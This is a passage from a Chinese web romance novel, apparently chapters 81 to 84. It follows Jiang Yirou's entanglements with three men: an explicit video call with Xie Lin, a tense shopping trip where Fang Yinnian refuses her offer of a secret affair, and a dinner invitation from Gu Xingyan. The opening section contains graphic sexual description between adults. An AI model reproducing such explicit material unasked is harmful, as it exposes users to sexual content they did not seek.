就是用这样沙哑的嗓音在她耳边轻哄。 “腿再张开点……” 原来再怎么寡言沉稳的男人, 在床上也是什么话都说得出来的。 姜以柔回想起那些令人羞臊的经历,不由得轻轻蜷了下身体,整个人都几乎埋进被子里。 她面颊上的嫣红越发浓重,一双眸子潋滟得几乎要滴出水来。 她轻咬着娇嫩的红唇, 眼眸直勾勾睨着他, 她也不回答谢凛的问题,只轻哼道:“你到底脱不脱?” 谢凛沉默地盯着她良久,黑眸中蕴着风雨欲来的躁意。 良久, 他终于动了。 谢凛起身翻找着什么,很快就将手机架了起来, 然后他重新坐回来镜头前。 此时, 手机的镜头刚好将谢凛的上半身圈进去。 他只露出一点线条硬朗的下颌,往下是凸起的喉结和清晰的锁骨。 姜以柔看不见他全部的表情,但只看那紧绷的唇线和微微滚动的喉结, 便可以想象出他现在的表情有多隐忍,有种近乎凌厉的性感。 再往下就是谢凛堪称完美的□□。 谢凛的肌肉并不夸张,但每一处流畅紧致的起伏都蕴着顶级拳击手的爆发力。 宽阔的肩膀,结实的胸肌将他身上的衬衫撑得鼓鼓囊囊,往下是猛然收窄的劲腰,这具充满着力与美的躯体简直像古希腊神明般完美。 倒真的像他身为拳手的名字“Ares”,如战神般强健、野性。 这样一具躯体被包裹在深色西装中,野性稍敛,披上了斯文的外衣,却更碰撞出禁欲的性感,在压抑中酝酿。 姜以柔紧紧盯着他的身体,漂亮的眸子里闪烁着兴味的光。 她轻慢地挑了挑唇角,随即红唇微张,轻轻吐出两个字:“脱吧。” 话音刚落,谢凛胸膛起伏的弧度明显大了一些,将黑色衬衫绷得很紧,一起一伏间如潮水涌动,让人移不开视线。 过了一会儿,谢凛先反手脱了西装外套,随手丢在一旁。 然后他抬手扣住领带,扯开领带的那一瞬间,他手背上青筋暴起,那粗鲁野蛮的动作透着属于雄性的攻击性。 谢凛随手将扯松的领带扔到地上,那双紧抿的薄唇微微张开,吐出沉重的喘息。 姜以柔眼睛眨也不眨地望着他,双颊红得像是熟透的蜜桃,让人恨不得穿过手机屏幕狠狠咬住她,看她迸出甜腻的汁水。 “继续嘛。”姜以柔的声音里带着丝颤意,轻声催促道。 于是,谢凛再一次抬起手,一粒一粒解开了衬衫的衣扣。 他的动作不急不缓,随着扣子一粒粒被解开,那蜜色的胸膛逐渐显露,再往下是块垒分明的腹肌和劲瘦的腰,处处透着属于雄性的力量感。 这时,沉默了许久的谢凛终于开口了,嗓音幽沉,说道:“满意了?” 姜以柔轻咬下唇,眼里像是盈了汪春水,而她整个人也像是融化成了一滩水,身体酥软得不成样子。 她眨了眨水汪汪的眼睛,小声道:“你……把镜头往下点。” 屏幕里的谢凛瞬间沉默了。 他的脸并未出现在屏幕中,但上身的肌肉明显绷紧,宽阔的胸膛重重一荡。 良久,谢凛抬起一只手臂握住手机,开始调整镜头。 那只靠近镜头的手臂肌肉虬结,小臂上蜿蜒交错的青筋格外性感。 他握住镜头轻轻一掰,镜头下移了一点。 他那鼓鼓囊囊的西装裤猝不及防的出现在镜头中,在深色西裤的包裹下尤为明显。 调整好镜头后,谢凛向后靠在了椅背上,他大马金刀地坐着,坦坦荡荡地展露着他的本钱。 姜以柔立刻打起精神,专注地盯了一会儿,然后她撇了撇嘴,轻哼道:“我看你也没多想我嘛。” 谢凛沉默了一会儿,似乎在迟疑。随即他单手扣住腰带,几下清脆的声响后,腰带被扯开。 谢凛用实际行动证明了,他真的很想她。 哪里都想。 姜以柔睫羽微颤,面颊上的红霞一直蔓延至脖颈,连带着白皙如玉的胸口都泛着淡而诱人的薄红。 她深吸一口气,好奇地盯着那耀武扬威的家伙,这好像是她第一次认真地打量它,之前那几次……根本没心思多看。 姜以柔目测了一下……有些不自在地抿了抿嫣红的唇瓣,眸光微微也闪烁起来。 怪不得那天晚上弄得她死去活来的。 谢凛胸膛的起伏的弧度剧烈了些,蜜色的肌肤渗出些细密的汗珠,似乎忍得很艰难。 他抬起一只手缓缓握住,喉间溢出性感的喘息。 他似乎轻轻笑了一声,微哑的嗓音有些撩人,低声道:“我也想看你……” 姜以柔盯着他的动作,脸越来越红,娇嗔地白了他一眼,哼道:“想看就回来。” 谢凛被拒绝了也不恼,动作不停,又继续哄她:“喊我的名字。” 姜以柔蜷起身体,纤长而不失肉感的腿交叠,轻轻磨蹭着,随即她身体一颤,喉间溢出一丝似哭似愉的轻喘: “谢凛……” 空气悄然升温,姜以柔躲在被子里,整个人都泛着动情的薄红,像是熟透了一般。 手机另一头的谢凛更是激动,他浑身肌肉紧绷,像是一座压抑到极致的火山,随时有可能爆发。 他喉结微滚,有汗珠顺着他冷硬的下颌滴落,有种潮湿的性感。 他手臂上和脖颈处因隐忍而凸起的青筋,就连那根也是狰狞得青筋蜿蜒,那种张牙舞爪的野性气息扑面而来,隔着手机都能感受到他浓烈的雄性荷尔蒙。 姜以柔一双媚眼轻轻眯起,眸光里显出几分迷离和沉溺,那红唇微张呵气如兰的模样,活像个妖精。 谢凛只看着她脸上诱人的表情,便硬得发疼。 哪怕看不见那具能令任何男人疯狂的躯体,也足以让他饮鸩止渴。 姜以柔已经无暇去看屏幕里的谢凛,她的眼神不知落在何处,漂亮的瞳孔有些失焦,耳边是她和谢凛交错混杂的喘息声,每一下都刺激着她的感官。 这时,门外的客厅里突然传来些微的动静,不知道来自哪里,但却立刻让姜以柔意识到—— 一门之隔的不远处,方隐年和方镜麒那对叔侄就在外面…… 意识到这一点后,姜以柔蓦地被强烈的羞耻感淹没了,她微微仰起脖颈,美得像一只脆弱的天鹅。 她紧紧咬着嫣红的下唇,却还是控制不住地泻出带着哭腔的呻吟,她的身体剧烈地颤抖起来,过了许久,才脱力般伏在床上。 手机早已被她仍在一边,姜以柔甚至都没力气再次拿起。她张着小口喘气,双眸失神,眼角还溢着泪水,如雨打梨花般娇弱而诱人。 正在姜以柔失神间,手机里传来谢凛哑得不成样子的嗓音:“以柔,再让我看看你。” 姜以柔的手机扣在了床面上,谢凛那边只能看到一片漆黑。 他额上的汗大滴大滴地滑落,结实健壮的身躯上也覆了层莹亮的湿意,整个人像一张绷到极致的弓弦,随时有可能失控。 仅仅是听着姜以柔那边细碎的摩擦声和轻吟,谢凛便觉得浑身血液都沸腾起来了。 他鲜少有如此急躁的时候,轻声哄着姜以柔把手机重新拿起来。 他想一直看着她。 然而,姜以柔此时却很是兴致缺缺了。她懒散得根本不想动,一股又一股困倦涌上来,她有点睁不开眼睛了。 姜以柔轻轻打了个哈欠,很是没良心地说道:“我好困,先挂了吧,以后再聊。” 说完,也不等谢凛反应,径直挂了电话。 箭在弦上的谢凛:“……” 看着黑掉的手机屏幕,谢凛腮侧微鼓,气得狠狠咬牙,那双狭长凌厉的眸子几乎要喷出火来。 他粗喘几声,几乎要被气笑了,整个人不上不下地吊着,难熬至极。 良久,他沉沉地呼出一口气,从唇缝里挤出几个字: “姜以柔……” 等他回去,他绝不会轻易放过她。 * 第二天,当姜家人陆陆续续地起床时,姜以柔仍在睡梦中。 他们都习惯了她一觉睡到日上三竿,早起后会自觉放轻动作,免得吵醒她。 本该是寻常的一个早晨,姜家人却受到了极大的惊吓—— 因为他们一起床就发现,客厅里不只有因为暴雨而留宿的方镜麒同学,还有一个高大英俊的陌生男人! 姜家老两口吓得差点报警。 好在姜渔认出了方隐年——前几天他还特意去学校给她撑腰了呢,如果没有他出面,恐怕那对难缠的李姓父子不会轻易罢休。 姜渔上前一步,迟疑地问道:“方先生,你是来接方镜麒的吗?” 此时的方隐年已经换下属于谢凛的衣物,又恢复了衣冠楚楚的矜贵派头——苏特助一大早不到五点就给他送来了全新的衣物。 所以,看到这样端方体面的方隐年,姜渔下意识地以为他早上才来,估计是睡在客厅的方镜麒给他开的门。 他们完全没想到,这位方家掌权人在他家的单人沙发上硬熬了一整晚。 方隐年眼下那不甚明显的青黑就是证明。 面对姜渔的询问,方隐年沉默片刻,点头应了一声。 就当他是今早才来的吧。 旁边的方镜麒正丝毫不见外地吃着姜家的早饭,闻言朝方隐年投去一个嘲讽的眼神,冷笑一声没有拆穿他的谎言。 姜父姜母一听说他是方镜麒的小叔,顿时对他同样热情起来。 而且,他们总觉得方镜麒为了救孙女而断掉手臂这事儿,特别对不起人家,在面对方镜麒的家长时总有种心虚的感觉。 在他们的盛情邀请下,方隐年也在餐桌前坐了下来。 姜母有些拘束地笑道:“小柔也太不像话了,客人都在呢她还在睡,我现在就去叫她起来……” 说着便要去敲姜以柔的卧室门。 但她话音未落,有人便立刻阻止了她,而且,不止一个人出声。 “别!” “让她睡吧。” 方隐年和方镜麒不约而同地开口,说完,他们对视一眼,又同时移开视线,气氛瞬间变得微妙起来。 姜渔吃饭的动作一顿,不动声色地瞄着对面两个男人,表情很是古怪。 姜母愣了一瞬,然后讪讪地坐下,“那……那我先不叫她了。” 不知为何,姜母总觉得这对叔侄俩怪怪的…… 简单吃完早饭后,方隐年礼貌地提出告辞,并主动说可以顺路送方镜麒和姜渔一起去学校。 等到方隐年目送两个孩子走进了圣维尔学院后,他却并没有让司机开车去公司,而是又回到了姜家楼下。 然后,苏正就震惊地看着他家日理万机的方总,硬生生在姜家楼下等了好久。 一直等到姜父姜母下了楼,似乎要去工作,方隐年都不动如山。他让人将车停得比较隐蔽,所以老两口并没有发现这辆全球限量个位数的豪车。 又过了好一会儿,方隐年的手机响了一声。 他拿起手机看了一眼,随即推门下车,不疾不徐地又回到了姜家门口。 方隐年站在熟悉的门口,一时间心情很是复杂。 就因为姜以柔一条短信,他竟然硬生生等了那么久,现在还主动送上门…… 方隐年隐忍地闭了闭眼,竟有种他已经不属于自己,而全然被那个女人支配了的荒唐感。 她到底想要他怎样? 第82章 方隐年僵立在姜家门口, 薄唇紧绷成一线,英俊的面上带着隐忍与挣扎。 他引以为傲的清醒与克制早已崩盘,在名为姜以柔的深渊中不断沉沦。就连他恪守了三十年的清规戒律, 也都成了笑话。 众生为爱欲,系缚甚牢固。 他似乎已经无可救药了。 方隐年轻轻叹了口气,近乎认命般闭了闭眼睛, 等他再睁开眼时, 狭长凌厉的凤眸已然恢复了平静。 就是不知道他心里究竟有几分安宁。 方隐年抬起手,轻轻敲了敲房门。 他等了好一会儿, 房门才从里面被打开。 姜以柔那张带着困意的美丽脸庞乍然出现。如云黑发披散在肩头,眼角眉梢都带着慵懒的娇意,她柔弱无骨地靠在门上, 眼角因困倦而渗出莹润的水光, 简直是一副绝美的美人春困图。 方隐年静静地凝视着她,胸口处传来熟悉心跳失控的感觉。 他不动声色地移开视线,深吸一口气,淡声问道:“找我什么事?” 姜以柔微微侧身让出门口, 娇媚的嗓音犹带着晨起后的沙哑, 让人耳朵心里一同发痒。 “先进来吧。” 说完,她便袅袅娜娜地转过身。 柔软的真丝睡裙包裹着那窈窕有致的身躯,仅一个细腰轻扭的背影就是无尽的诱惑。 方隐年落在她身上的目光仿佛被烫到一般, 瞳孔微颤,那一瞬间他呼吸都乱了。 他近乎狼狈地微微偏过头, 面色有些紧绷。 姜父姜母离开前给女儿准备了早饭, 姜以柔正坐在餐桌前有一搭没一搭地吃着。 方隐年站在门口沉默了许久,最终还是缓步跟了上去。 姜以柔单手支颐,笑盈盈地说道:“方总, 你今天有空吗?” 象征性地问了他有没有空之后,姜以柔也不等方隐年的回答,便自顾自继续说道,“能不能陪我去买点东西啊?” 她仿佛根本不担心方隐年会拒绝,是那样的理所当然。 方隐年垂在身侧的手不由得一紧,素来平静的心湖中如被投入一颗石子,泛起层层叠叠的怒意。 凭什么?她凭什么总是如此心安理得地使唤他? 明明她身边已经有了一个愿意为她肝脑涂地的男人,而她似乎也……喜欢那个人。 那又何必再来撩拨他? 或许连方隐年自己都未曾察觉,此时此刻他心里的波澜,与其说是愤怒,倒不说是…… 嫉妒。 嫉妒有人比他更名正言顺。 而他无论为这个女人做多少,都仿佛泥牛入海,难以在她心里留下半分痕迹。 方隐年深吸一口气,所有汹涌翻滚的愤怒都被他死死压在平静的表面下,再不见丝毫波澜。 他缓缓开口,语气十分冷淡:“你要买什么,我让人给你买回来。” 方隐年甚至没有直接拒绝她的要求,只说可以帮她买来想要的东西。 他眼底泛起些自嘲。 为什么他总是拿她没办法呢? 然而,姜以柔却有些不开心地皱了皱眉头,说道:“我是要买礼服,肯定得亲自挑亲自试,怎么能让别人买呢?” 马上就是圣维尔学院的校庆了,既然答应了要作为家长代表发言,那就得好好准备一下。 最重要的当然是置办一身拿得出手的行头。 昨天她跟张茜去逛街,也是为了这件事,可惜没能买到特别合适的礼服,所以她决定今天再战。 正好她缺个刷卡加拎包的人,方隐年就再合适不过了。 方隐年沉默片刻,然后拿出一张黑卡放在桌面上,用手指轻轻推到她面前,沉声道:“这是昨晚借宿的报酬。” 方隐年这个时候给她“借宿费”,显然就是拿给她买礼服的资金,只是他仍旧没松口要陪姜以柔去。 他不能再继续这般纵着她了,否则……他怕自己会变成一个不择手段的疯子。 放下黑卡后,方隐年转身便想离开。 他刚迈出一步,衣角处便传来拉扯的力道。 他步伐一滞,垂眸看去,一只白嫩纤细的手攥住了他的衣角,这个动作有种近乎暧昧的依赖,让他心头一颤。 姜以柔拽着他的衣角,仰头不敢置信地盯着他,质问道:“你不打算陪我?” 方隐年依旧背着身体,既没有回头看她,也没有开口。他的薄唇紧抿成一线,凤眸中翻涌着隐忍的暗色。 姜以柔若有所思地打量着他,饶有兴味地挑了挑唇角,似乎觉得他的反应很有意思。 姜以柔眨了眨眼睛,她不再继续说什么,而是…… 她拽着他衣角的手缓缓移动,转而勾住了他宽厚的大手。 方隐年的掌心很热,跟他淡漠的性子截然不同。 姜以柔将自己的手塞进他的掌心,明显能感觉到那只手微微颤了下。 姜以柔紧紧盯着方隐年的背影,试图从他隐约露出的侧脸上看出情绪,那双美丽的眸子里闪烁着浓浓的兴味。 她一直觉得,虽然方隐年和谢凛都是冷漠寡言的类型,但他们两个人有很大的不同。 谢凛身上更多的是一种刀锋般锐利的煞气,像是丛林中踽踽独行的孤狼,逸散着拳台上一拳又一拳拼出来的狠戾。 而方隐年的冷淡则像是结了冰的清潭,是一种彻骨的寒。当他轻飘飘地睨过来一个眼神时,那双矜贵的凤眸中透着股居高临下的睥睨。 明明是自小修佛的人,可他身上非但不见多少慈悲和怜悯,却有种神佛般高高在上的无情。 姜以柔微微翘了翘唇角,此时此刻她望向方隐年的眼神中,竟莫名带着种盯上猎物的跃跃欲试。 从最开始见到方隐年的时候,姜以柔就觉得他那种高高在上的姿态……非常碍眼。 所以……她无比期待这个冰冷克制的男人,为她不顾一切失控的模样。 姜以柔一双潋滟的眸子眨也不眨地盯着他,她并不说什么恳求他的话,只漫不经心地做了一个小动作—— 她把自己手塞进他宽厚炙热的掌心,然后……屈起指尖,轻轻地在他掌心挠了两下。 方隐年浑身一颤,条件反射般猛地收紧手掌,将那只柔软的小手紧紧攥在掌心。 炙热的掌心相贴,传递着彼此的温度,明明只是牵个手,却仿佛能感知到彼此的心跳,连空气都因此而升温了。 方隐年的胸膛重重起伏了几瞬,就这样僵立了许久。 姜以柔也不着急,好整以暇地微笑着,静待他的反应。 最终,方隐年脱力般松开她的手,他未曾再试图离开,而是转过身体,一步一步走到餐桌旁坐下。 算是默认了会陪她。 方隐年面色紧绷,一双黑压压的凤眸刻意不去看姜以柔,似乎无法面对自己这种无底线的妥协。 姜以柔轻轻一笑,眸中的得意几乎要溢出来。 她软着嗓子欣喜道:“等我吃完早饭,我们就出发!” 姜以柔说是她吃完早饭就能出发,可实则不然。 她吃饭已经够慢了,偏偏吃完饭后还要穿搭、化妆……一折腾就是两个小时往上。 期间,方隐年接到好几个工作电话,苏正在那边问他什么时候可以回公司开会。 方隐年的回答从一开始的“下午”,再到“晚上”,最后…… 方隐年头疼地揉了揉眉心,叹道:“把我今天的事情都推了吧。” 他这一整天都要耗在她身上了。 不知过了多久,姜以柔终于从卧室中走出来,笑着宣布道:“我们走吧。” 方隐年微微抬眸,目光落在她身上时乍然怔住。 她太美了。 她穿了件修身的高领白羊毛衫,下身穿着很简单的牛仔裤和高跟鞋,十分日常的装扮,穿在她身上有种温柔知性的美。 她将长发简单地盘起,脸上的淡妆恰到好处,浑身散发着如同熟透了的水蜜桃般的成熟风韵,仿佛咬一口就能迸出汁水。 方隐年眸光骤深,呼吸都不甚明显地急促了几分。 但他面上仍旧一派平静,沉默地和姜以柔出了门。 姜以柔毫不客气,直接跟司机说去S市最高端的奢侈品商场,就是她之前给便宜闺女买马具的时候,去过的那个地方。 抵达之后,姜以柔试了一套又一套衣服,她眼光很好,基本上愿意试穿的衣服都很漂亮。 方隐年面色冷淡,几乎不主动跟姜以柔说话,就连她主动问起“这件好不好看”时,也只会平静地答一句“好看”。 在方隐年的眼里,再好看的衣服,也不过是她的陪衬而已,没什么太大的差别。 当然,他付款的时候毫不含糊,基本上让姜以柔多看了一眼的衣服,他全都买了下来。 姜以柔穿来这个世界后,还是第一次这般无所顾忌地买买买,心情自然十分愉悦。 她漫不经心地扫了眼方隐年,心里非常满意。 姜以柔不知不觉间买了很多,却差点把此行的目的忘记了,参加校庆的礼服还没有买。 她选了又选,最终挑中了一条经典款的鱼尾裙礼服,很好看但不会过于张扬。 她拿着礼服走进试衣间,打算试一下尺寸,过了没一会儿,试衣间的门开了一小条缝隙,里面传来姜以柔的轻声呼喊:“方总,过来一下。” 方隐年沉默片刻,缓缓踱步上前,沉声问道:“怎么了?” 姜以柔不再说话,试衣间的门缝里却伸出一条赤祼的小臂,细瘦、柔弱,像温玉一般泛着动人的光泽。 方隐年眼瞳微颤,还未来得及反应,便被那只小臂抓住了手。 姜以柔微微用力,很轻松地拉动了方隐年这个近一米九的男人,将他扯进了试衣间。 试衣间本就不大,多了一个高大结实的男人后更显拥挤。 方隐年几乎是僵硬地微低下头,看向姜以柔。 姜以柔已经换上了那条鱼尾裙,尽数勾勒出她窈窕有致的好身材,只是她后背的拉链没有拉起,她只能微红着脸拢住胸口,不让裙子滑落。 姜以柔抬眸瞟了他一眼,低声道:“方总,帮我拉一下拉链吧。” 方隐年浑身僵硬,一时间没有说话,那双紧紧盯着姜以柔的眸中瞬间燃起了一簇暗火,几乎有燎原之势。 而姜以柔已经毫无防备地背过身去,将纤瘦白皙的背展露在他面前。 她的脊背实在太美,肩胛骨随着她手臂的收拢而凸起,漂亮得像振翅欲飞的蝴蝶,脊柱微陷,一路延伸到那不堪一握的细腰,最后没入衣料中,引人无限的遐想。 方隐年怔怔地看着眼前的美景,不期然回想起那天。 他接到姜以柔的求救短信后,一夜没睡赶去她身边,看到的却是她和谢凛事后的亲密。 当时她也像这般若无其事地要求他帮忙拉上拉链。 态度是那么的自然,又那么的……可恶。 她不是跟那个叫谢凛的男人很甜蜜吗?为什么还要来故意撩拨他? 耍他……就这么好玩吗? 这一刻,方隐年清晰地意识到,自己的脖颈上被套了条无形的缰绳,另一端就被拽在姜以柔的手中。 她每一次漫不经心的逗弄,都会让他方寸大乱。 被戏弄的愤怒直冲头顶,甚至压过了躁动的□□,方隐年再也难以保持冷静,猛地抬手握住了她清瘦的肩头。 “姜以柔……”方隐年一步逼近她,宽阔的胸膛抵着她,浑身溢着勃发的侵略性。 他哑声开口,嗓音里带着紧绷的怒火:“你到底想做什么?” 姜以柔被他握住肩头强行转过身,差点没抓稳裙子,她无辜地眨了眨眼睛,说道:“我就是想让你帮下忙嘛……” 姜以柔的面上有些无措,可眸底却漾着浓浓的兴味,仔细欣赏着方隐年隐忍的愤怒。 方隐年喉结滚动,盯着她的眸光复杂至极,他腮侧微鼓,似是在狠狠咬牙忍耐,最终,他眸中的万般情绪只化成一片无力。 他缓缓闭了闭眼睛,冷声道:“既然没打算给我机会,就不要再做这种事。” 她明明知道他的心意,那么就该断了他的念想,否则……他不知道会做出什么不择手段的事情。 方隐年转身想要离开,喊导购来帮她,然而下一秒,姜以柔却整个人都贴在了他身上。 姜以柔一手抓着胸前的裙子,另一只手揽住他的脖颈,踮起脚尖,缓缓地凑近他。 温热的气息携着幽香逼近方隐年,两人之间的距离无限缩短,几乎就要唇齿相贴。 暧昧丛生,空气都仿佛被荷尔蒙点燃了,无声炙热。 姜以柔媚眼如丝地睨着他,轻笑道:“方隐年,我可以给你机会,就看……你敢不敢了。” 方隐年瞬间僵住了。 第83章 方隐年紧紧盯着那张近在咫尺的芙蓉面, 鼻尖尽是她撩人的幽香,几乎让他头晕目眩。 而且……姜以柔一手揽着他的脖颈,整个人都挂在了他身上, 两人的躯体紧密相贴,他清晰地感觉到那柔软的起伏,瞬间勾起了他身体最深处的躁动。 方隐年近乎狼狈地后撤一步, 不想她发现自己不堪的反应。 但那双狭长凌厉的凤眸却怎么都无法从她脸上移开。良久, 他沙哑着嗓音问道:“你……什么意思?” 姜以柔挑了挑眉梢,笑得妖冶而勾人, 她轻声说道:“别装傻,你明明听懂了。” 方隐年沉默了,他凤眸里染上的压抑的猩红, 死死盯着姜以柔, 似乎想要看透她的心。 良久,他哑声道:“那你打算什么时候跟他断了?” 姜以柔微微一怔,下意识地反问道:“什么?” 方隐年眸光骤沉,从牙缝里挤出几个字, “那个谢凛……跟他断了。” 方隐年深吸一口气, 似乎下定了什么决心,沉声继续道:“镜麒那边我会处理好。然后……” 他没再说话,却抬起一双微微颤抖的手, 轻轻揽住了那不盈一握的腰肢。 这似乎是方隐年第一次主动触碰她。 很显然,对于姜以柔抛出的橄榄枝, 他心动了。 方隐年过了三十多年清心寡欲的苦行僧生活, 终于载在了姜以柔的身上。 姜以柔只是稍微亲近他一点,他便溃不成军了。 其实也算是人之常情,这世界上恐怕没有哪个正常男人能够拒绝她。 方隐年揽住她腰肢的手不断收紧, 掌心的热度不断传来,一如他炙热暗涌的眸光。 然而,姜以柔却一脸惊讶地反问道:“我为什么要跟谢凛断了?” 方隐年:“……” 姜以柔的话如同一盆冰水骤然泼下,瞬间浇熄了他所有的躁动,他心底一片冰寒,不敢置信地看着姜以柔。 他喉头微滚,半晌才冷声质问道:“你刚才……是骗我的?” 既然她根本没打算跟谢凛断了,那为什么还要暗示他?是想哄得他当真,再无情戳破他的幻想吗? 姜以柔接下来的话,却打碎了方隐年的某些认知。 姜以柔抬起手,轻轻抚摸他英俊的侧脸,柔声笑道:“我当然没有骗你啦,我是真的愿意跟你在一起。” 方隐年面无表情地睨着她,冷声问道:“那他呢?” 这个“他”指的是谁,他们都一清二楚。 姜以柔眨了眨眼睛,理所当然地说道:“别让他发现就好了嘛……” 方隐年一时愣怔,然后只觉得脑海里有什么轰的一声炸开。 他身体微颤,不敢置信地瞪向姜以柔,凤眸里瞬间燃起灼然怒火,如燎原般摄人。 “你……你是要跟我,偷情?”方隐年咬牙切齿地低声道。 最后那两个字,他几乎是用气音说的,仿佛说出来都怕脏了自己的嘴。 方隐年循规蹈矩了三十多年,清心寡欲得几乎成了圣人,哪怕如今他不可遏制地为姜以柔而失控、沉沦,但是…… 要他做一个见不得光的情夫? 绝无可能! 这一瞬间,尊严被践踏的耻辱感充斥于方隐年心间,几乎摧毁了他的所有理智。 然而,姜以柔却仿佛察觉不到他的濒临决堤的愤怒,不以为意地笑道:“什么偷情啊?别说得那么难听嘛,其实我跟谢凛也没确定关系……” 认真说起来,你和谢凛的地位其实是一样的。 只是谢凛心眼小,爱吃醋,最好还是瞒着他,方隐年的情绪就稳定多了…… 姜以柔还未来得及把心里话坦然相告,方隐年就难以承受般猛地后退,与姜以柔拉开了距离。 “够了!”方隐年沉声喝道。 姜以柔不由得把话咽了回去,她打量着方隐年难看至极的面色,识趣地闭了嘴。 方隐年死死盯着她,微眯的凤眸里尽是危险之意,里面翻涌着浓烈的爱与恨,最后只化为深深的痛苦,几乎将他淹没。 他深吸一口气,一字一句沉声道:“姜以柔……你想都别想!” 他再怎么喜欢她,也绝不会自甘堕落! 说完,他便阴沉着脸转身,大步离开了这狭窄的试衣间。 姜以柔被扔在试衣间里,有些无措地伸出手,似是想伸手留住他。 “哎哎,你倒是先帮我把拉链拉上呀……”姜以柔小声抱怨道。 她盯着方隐年狼狈的背影,良久,突兀地勾起一个笑。 姜以柔眉梢轻挑,玩味地眯起一双潋滟的眸子,轻哼道:“说我痴心妄想?那可不一定……” 方隐年离开试衣间后,不管姜以柔再怎么主动撩拨,他都紧绷着脸不肯再靠近她一步。 姜以柔便喊来了导购,帮她拉上了裙子拉链。 她提着裙摆,莲步款款地走出试衣间,这副盛装的模样简直无比惊艳,那些导购都看痴了,怔怔地说不出一句话。 方隐年原本脸色极其难看,在看到姜以柔的那一瞬间,也不由得愣住。 胸中翻涌的怒火瞬间凝固,在那张美丽至极的容颜面前再掀不起半点波澜。 甚至……连他的理智都开始摇摇欲坠,忍不住开始试探底线。 有那么一瞬间,方隐年心里竟然升起一个念头—— 他想要拥有她,无论……以什么身份。 哪怕见不得光。 可很快,理智回笼,方隐年面色紧绷地移开视线,他深呼吸几次,强迫自己压下心中的妄念。 偏偏姜以柔还特意晃到他眼前,施施然转了个圈,笑得娇媚又撩人,她故意问道:“方总,好看吗?” 方隐年喉结微滚,眸光沉沉地盯着她,一句话都不说。 姜以柔撇了撇嘴,倍感扫兴地轻哼一声。 接下来,不管姜以柔怎么主动撩拨,方隐年都面色紧绷一声不吭。 仿佛打定了主意要跟姜以柔保持距离,绝不会屈尊做见不得光的情夫。 姜以柔故意撩拨了他两句,但见他总是不上钩,便兴致缺缺地轻哼一声,同样懒得再理他。 “买好了,回去吧。”姜以柔淡声道。 她不动声色地瞥了眼方隐年,一看到他那副矜持疏离的模样,便怎么都觉得碍眼。 再回想起方隐年刚才义正言辞地拒绝她,更觉得他无趣至极。 哼,看你能嘴硬到何时。 两人谁都没再主动说话,几乎像是小情侣在冷战。 但即便如此,方隐年还是任劳任怨地帮她付款、拎包,又送她回家。 冷脸洗内裤不过如此。 回家的路上,姜以柔在车上接到了一通电话。 看到来电显示后,她有些惊讶,随即忍不住瞥了方隐年一眼,眸中盈着意味深长的兴味。 她施施然接起电话,温声道:“喂,顾先生?” 旁边,方隐年眼神微动,虽然没有转头看向姜以柔,但搭在膝上的手却忍不住紧了紧。 顾先生? 这又是哪里来的男人? 方隐年深吸一口气,面色沉沉地听着他们手机里的对话。 顾星延的嗓音依旧磁性而撩人,那温柔的语调更是醉人,他笑着说道:“姜小姐,不知道今晚能否邀请你共进晚餐?” 闻言,姜以柔没有立刻回应,而是不动声色地瞥了方隐年一眼。 在看到方隐年紧抿的薄唇时,她唇角勾起一个恶趣味的浅笑。 随即,她语出惊人地冲着手机说道:“顾先生,恕我直言,请问你是想追我吗?” 此话一出,方隐年连呼吸都停滞了一瞬,身体瞬间紧绷起来。 手机那头的顾星延也沉默了一会儿,然后便传来他坦然的轻笑声:“对,我想追你。所以……” “姜小姐,你愿意给我一个机会吗?”顾星延压低了嗓音,那被誉为天籁的性感嗓音说起情话时,简直让人无法抵抗。 姜以柔故作为难地叹了口气,低声道:“顾先生,可是我已经有男朋友了……” 之前顾星延打来电话时,她正跟谢凛在床上胡闹。当时的顾星延就提出想请她吃饭,结果谢凛那家伙醋意上头,直接冲着电话里的他宣誓了主权。 所以,顾星延应该是知道她身边有一个男人的。 果然,顾星延并不意外,反而语气诚恳地说道:“我知道,但是……我愿意等你。” “姜小姐,请不要急着拒绝我。”顾星延语调和缓,带着几分循循善诱的温柔,道,“我不会破坏你和你男朋友的感情,我只希望有一个为你付出的机会……” 顾星延就差把愿意当小三和备胎放在明面上了。 闻言,姜以柔漫不经心地瞥向旁边的方隐年,满意地看到他紧攥的拳头上青筋微凸,连呼吸声都沉重了几分,大概正忍得艰难。 姜以柔得意地扬了扬唇角。 随即,她轻笑一声,冲着手机淡声道:“用餐地址发我吧。” 顾星延微微一怔,语气里明显带了几分雀跃,“好!” 姜以柔施施然挂了电话,转头对着方隐年笑道:“方总,不用送我回家了,劳烦你直接送我去这家饭店吧。” 说着便把顾星延订的餐厅位置报了上去。 方隐年转过头死死地盯着她,黑沉的眸光中翻涌着压抑的怒火,他咬着牙一字一句问道:“姜以柔,你什么意思?” “没什么意思啊。”姜以柔耸了耸肩,漫不经心地笑道,“你不屑于做的事情,有人上赶着做。” 姜以柔抬起手,轻轻抚了下方隐年的衣襟,笑得温柔又凉薄: “方总,我不缺你这一个男人。” 闻言,方隐年眸色骤沉,浑身逸散着风雨欲来的可怕气息。 第84章 姜以柔丝毫不顾方隐年沉冷的面色, 笑着催促道:“方总,麻烦送我过去吧,我怕顾先生等急了。” 方隐年腮侧微鼓, 似是在狠狠咬牙,他胸膛剧烈起伏着,俨然一座即将爆发的活火山, 却终究什么都没说。 他眸光凛冽如寒冰, 用沉默来拒绝姜以柔的要求——他完全没有要送她赴宴的意思。 姜以柔笑了笑,漫不经心地说道:“你不送就算了, 一会儿我自己打车去。” 闻言,方隐年终于再也不绷不住那张冷淡的面孔,他猛地转头盯着姜以柔, 狭长的凤眸格外幽深, 翻涌着滔天的怒意。 他深吸一口气,冷声道:“姜以柔,你不必故意激我。” 姜以柔诧异地挑了挑眉梢,随即忍不住噗嗤一笑, 说道:“方总, 你也太看得起自己了。” 她伸出一根手指晃了晃,语气揶揄:“我可不是为了气你才答应邀约。” “毕竟……顾先生长得帅又有钱,对我也很大方, 比起方总你也差不了多少。”姜以柔随手将一缕碎发挽到耳后,笑容里甚至带了几分羞涩, “我还挺期待今晚呢。” 她的这番话, 无疑是将方隐年的脸面往地上踩,毫不留情。 方隐年的面色更难看了几分,粗重的呼吸声里带着即将爆发的压抑。 他闭起眼睛深吸一口气, 费了很大的自制力才没有当场爆发。 半晌,方隐年扭过头不再看她,嗓音里染上不容置喙的冷意:“我不会送你去的。” 姜以柔早有预料般耸了耸肩,不甚在意地说道:“我说过了,你不送也没关系,我可以自己去。” 她唇角勾起的弧度带着几分挑衅之意,曼声道:“如果今天没机会,我们还可以改天再约,总能找到机会见面的。” 